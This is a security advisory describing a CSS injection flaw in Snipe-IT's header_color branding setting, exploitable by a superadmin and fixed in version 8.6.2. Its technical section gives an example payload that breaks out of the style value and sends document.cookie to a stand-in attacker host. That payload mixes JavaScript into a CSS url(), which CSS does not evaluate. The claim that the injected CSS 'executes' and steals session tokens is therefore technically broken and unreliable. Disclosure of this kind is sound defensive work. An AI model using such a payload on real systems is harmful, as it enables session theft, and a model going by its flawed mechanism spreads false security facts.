Executive brief
Snipe-IT is an asset management system used to track and manage IT inventory across organizations. An administrator with access to the Branding settings can inject malicious CSS code through the header_color field, which is loaded on every authenticated page. This allows the attacker to steal session tokens and credentials from all other users, including other administrators, without their knowledge.
Technical details
The vulnerability is a CSS injection (CWE-79: Cross-site Scripting) in the `header_color` branding setting. The vulnerable code renders user-supplied color values directly into a CSS `<style>` block using Laravel's `{{ }}` template syntax, which applies only HTML entity encoding. In a CSS context, this encoding is insufficient to prevent breakout. An attacker with superadmin privileges can set the `header_color` to a crafted value that breaks out of the CSS property value (e.g., `#fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {`) to inject arbitrary CSS rules. Since the base layout template is loaded on every authenticated page, the injected CSS executes in every user's browser on their next page load, enabling silent exfiltration of session tokens. Attack vector is network-based but requires high privileges (superadmin access). No user interaction is needed for victims. Content Security Policy is disabled by default, removing the primary browser-level mitigation. The vulnerability is patched in version 8.6.2.
Affected products
- Grokability Snipe-IT <= 8.6.1
Timeline
- 2026-08-28: disclosed: Advisory published
- 2026-08-28: patched: Fixed in version 8.6.2
- 2026-06-30: other: GitHub advisory created